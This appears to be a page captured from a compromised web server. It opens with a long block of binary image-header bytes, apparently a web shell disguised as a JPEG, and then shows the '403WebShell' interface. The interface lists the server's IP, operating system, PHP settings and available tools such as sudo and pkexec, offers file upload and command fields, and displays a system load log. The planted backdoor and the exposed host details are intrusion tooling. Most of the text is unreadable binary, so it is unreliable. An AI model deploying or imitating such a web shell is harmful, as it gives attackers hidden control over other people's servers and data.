JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/loadwatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/loadwatch/2025-11-21.04.00.txt
 ## swap threshold exceeded
## server overview
2025-11-21.04.00 load[0] mem[75/43] mysql[5/6] httpd[12]
              total        used        free      shared  buff/cache   available
Mem:           2363        1702          88          22         572         465
Swap:          1999         953        1046
 04:00:02 up 25 min,  0 users,  load average: 0.06, 0.17, 0.27
## system overview
top - 04:00:02 up 25 min,  0 users,  load average: 0.06, 0.17, 0.27
Tasks: 223 total,   4 running, 218 sleeping,   0 stopped,   1 zombie
%Cpu(s): 87.5 us, 12.5 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,    96892 free,  1735044 used,   588364 buff/cache
KiB Swap:  2047996 total,  1071612 free,   976384 used.   485668 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  1764 mysql     20   0 1457284 199908   4160 S 150.0  8.3   0:19.35 /usr/sbin+
   410 root      16  -4   55532    128     16 S   6.2  0.0   0:00.20 /sbin/aud+
 23187 nigeria   20   0  404052  16140  10384 S   6.2  0.7   0:00.07 /opt/cpan+
     1 root      20   0   44276   3256   1452 S   0.0  0.1   0:02.74 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:00.10 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.07 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 R   0.0  0.0   0:01.51 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.07 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:00.27 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:06.24 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.00 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    48 root      20   0       0      0      0 S   0.0  0.0   0:00.08 [kworker/+
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   131 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [kauditd]
   241 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   246 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   249 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   250 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   255 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   262 root       0 -20       0      0      0 S   0.0  0.0   0:00.46 [kworker/+
   270 root       0 -20       0      0      0 S   0.0  0.0   0:00.56 [kworker/+
   278 root      20   0       0      0      0 S   0.0  0.0   0:00.08 [jbd2/vda+
   279 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   359 root      20   0   39496   7684   7392 S   0.0  0.3   0:01.23 /usr/lib/+
   385 root      20   0   45356    240    104 S   0.0  0.0   0:00.37 /usr/lib/+
   414 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   416 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   470 root      20   0  152780     60     52 S   0.0  0.0   0:00.00 /usr/sbin+
   473 root      20   0  224144   6000    968 S   0.0  0.2   0:00.10 queueproc+
   474 dbus      20   0   58748   1336    628 S   0.0  0.1   0:00.82 /usr/bin/+
   478 nscd      20   0  861368   1264    628 S   0.0  0.1   0:01.25 /usr/sbin+
   483 rpc       20   0   69256    204     96 S   0.0  0.0   0:00.01 /sbin/rpc+
   504 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
   505 polkitd   20   0  610540    904    456 S   0.0  0.0   0:00.23 /usr/lib/+
   507 root      20   0   24708   1152    812 S   0.0  0.0   0:00.36 /usr/lib/+
   509 root      20   0   21540    396    288 S   0.0  0.0   0:00.03 /usr/sbin+
   514 root      20   0   52852    104    100 S   0.0  0.0   0:00.00 /usr/sbin+
   523 root      20   0  195208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   528 root      20   0    4388     48     44 S   0.0  0.0   0:00.00 /usr/sbin+
   562 root      20   0   24208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   564 root      20   0  124476    444    312 S   0.0  0.0   0:00.04 /usr/sbin+
   580 root      20   0  108296     68     64 S   0.0  0.0   0:00.00 /sbin/age+
   581 root      20   0  114704     24     24 S   0.0  0.0   0:00.02 /bin/bash
   612 mailnull  20   0   88984   3344    396 S   0.0  0.1   0:00.04 /usr/sbin+
   627 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   668 root       0 -20       0      0      0 S   0.0  0.0   0:01.67 [loop0]
   693 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [jbd2/loo+
   694 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   939 root      20   0 1763340 688608    388 S   0.0 28.5   0:14.58 /usr/loca+
   942 named     20   0  990260  28568   1596 S   0.0  1.2   0:01.25 /usr/sbin+
   949 systuser  20   0  111608   1600      0 S   0.0  0.1   0:00.00 /usr/loca+
   952 systuser  20   0   11540     56      0 S   0.0  0.0   0:00.00 /usr/loca+
   953 root      20   0   51508    500    340 S   0.0  0.0   0:00.05 /usr/sbin+
   954 root      20   0 1277056  10084     72 S   0.0  0.4   0:21.85 /usr/bin/+
   955 telegraf  20   0 5654048  36996   4268 S   0.0  1.5   0:01.03 /usr/loca+
   956 root      20   0  445028   2604   2604 S   0.0  0.1   0:00.06 sw-engine+
   960 root      20   0  396248    540    364 S   0.0  0.0   0:00.11 php-fpm: +
   963 systuser  20   0  114016  11988   2452 S   0.0  0.5   0:00.46 /usr/loca+
   964 root      20   0  153404    308    228 S   0.0  0.0   0:00.03 pure-ftpd+
   965 cpanelc+  20   0    9820   2752   2316 S   0.0  0.1   0:01.21 /usr/loca+
   966 root      20   0  111304    416    312 S   0.0  0.0   0:00.31 /usr/sbin+
   967 root      20   0 1276356   9392     44 S   0.0  0.4   0:30.53 /usr/bin/+
   970 systuser  20   0   11348     40      0 S   0.0  0.0   0:00.00 /usr/loca+
   978 memcach+  20   0  342400      0      0 S   0.0  0.0   0:00.03 /usr/bin/+
   979 root      20   0  261028   4656    992 S   0.0  0.2   0:00.35 cpsrvd (S+
   980 root      20   0  572372    704    236 S   0.0  0.0   0:00.23 /usr/bin/+
   984 root      20   0  389508    264    176 S   0.0  0.0   0:00.10 php-fpm: +
   998 root      20   0  388892    580    484 S   0.0  0.0   0:00.12 php-fpm: +
  1001 root      20   0  400740   3072    636 S   0.0  0.1   0:00.31 php-fpm: +
  1002 systuser  20   0  112524   2064      0 S   0.0  0.1   0:00.00 /usr/loca+
  1003 root      20   0  216400   7456   6044 S   0.0  0.3   0:00.56 /usr/sbin+
  1010 root      20   0  439788  11452  11152 S   0.0  0.5   0:00.14 php-fpm: +
  1097 dovenull  20   0   46912   1780   1060 S   0.0  0.1   0:00.02 dovecot/p+
  1098 dovenull  20   0   47056   2880   2028 S   0.0  0.1   0:00.01 dovecot/i+
  1099 dovecot   20   0   10320    396    280 S   0.0  0.0   0:00.00 dovecot/a+
  1100 root      20   0   10452    624    452 S   0.0  0.0   0:00.02 dovecot/l+
  1101 dovenull  20   0   47064   2224   1552 S   0.0  0.1   0:00.06 dovecot/p+
  1102 dovenull  20   0   46924   2352   1652 S   0.0  0.1   0:00.01 dovecot/i+
  1106 root      20   0   24396   2032    496 S   0.0  0.1   0:00.03 dovecot/c+
  1107 dovecot   20   0   13568    636    420 S   0.0  0.0   0:00.00 dovecot/s+
  1135 root      20   0  247868 117596   1120 S   0.0  4.9   0:03.01 /usr/loca+
  1157 dovecot   20   0   41056   1404   1000 S   0.0  0.1   0:00.03 dovecot/a+
  1197 systuser  20   0  157700   2964    920 S   0.0  0.1   0:00.01 SonarPush+
  1199 wp-tool+  20   0  387528  11948   1288 S   0.0  0.5   0:00.09 /usr/bin/+
  1200 wp-tool+  20   0  412368  30216   1120 S   0.0  1.2   0:00.72 /usr/bin/+
  1281 root      20   0  183900     80     80 S   0.0  0.0   0:00.08 cpdavd - +
  1283 root      20   0  167452   1340    740 S   0.0  0.1   0:00.07 dnsadmin +
  1285 root      20   0  209208  10460   1740 S   0.0  0.4   0:00.34 tailwatchd
  1709 root      20   0  299272    720    340 S   0.0  0.0   0:00.04 php-fpm: +
  1717 root      38  18  130416   1424    700 S   0.0  0.1   0:00.00 cpanellog+
  1930 root      20   0  267052   8100    716 S   0.0  0.3   0:00.26 /usr/sbin+
  1931 root      20   0   12816    384    268 S   0.0  0.0   0:00.16 /usr/loca+
  1932 root      20   0   12732    272    196 S   0.0  0.0   0:00.13 /usr/loca+
  1933 root      20   0   12852    352    228 S   0.0  0.0   0:00.15 /usr/loca+
  1934 root      20   0   53340    100    100 S   0.0  0.0   0:00.05 /usr/loca+
  2045 root      20   0  181160  18712   1180 S   0.0  0.8   0:01.62 lfd - sle+
  2355 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [kworker/+
  3076 nobody    20   0  277928  20560   4564 S   0.0  0.8   0:01.95 /usr/sbin+
  7259 root      20   0  249128 118648   1004 S   0.0  4.9   0:00.11 spamd chi+
  7260 root      20   0  247868 116808    368 S   0.0  4.8   0:00.00 spamd chi+
  9147 nobody    20   0  277904  20084   4484 S   0.0  0.8   0:01.19 /usr/sbin+
 10126 nobody    20   0  277908  20480   4608 S   0.0  0.8   0:01.39 /usr/sbin+
 10171 nobody    20   0  277908  20232   4564 S   0.0  0.8   0:01.40 /usr/sbin+
 10177 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 10955 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 12564 root      20   0       0      0      0 S   0.0  0.0   0:00.04 [kworker/+
 14183 nobody    20   0  277520  19724   4556 S   0.0  0.8   0:00.64 /usr/sbin+
 14224 nobody    20   0  277540  19764   4444 S   0.0  0.8   0:01.00 /usr/sbin+
 14225 nobody    20   0  277548  20136   4600 S   0.0  0.8   0:00.90 /usr/sbin+
 15083 nobody    20   0  277860  19740   4316 S   0.0  0.8   0:00.82 /usr/sbin+
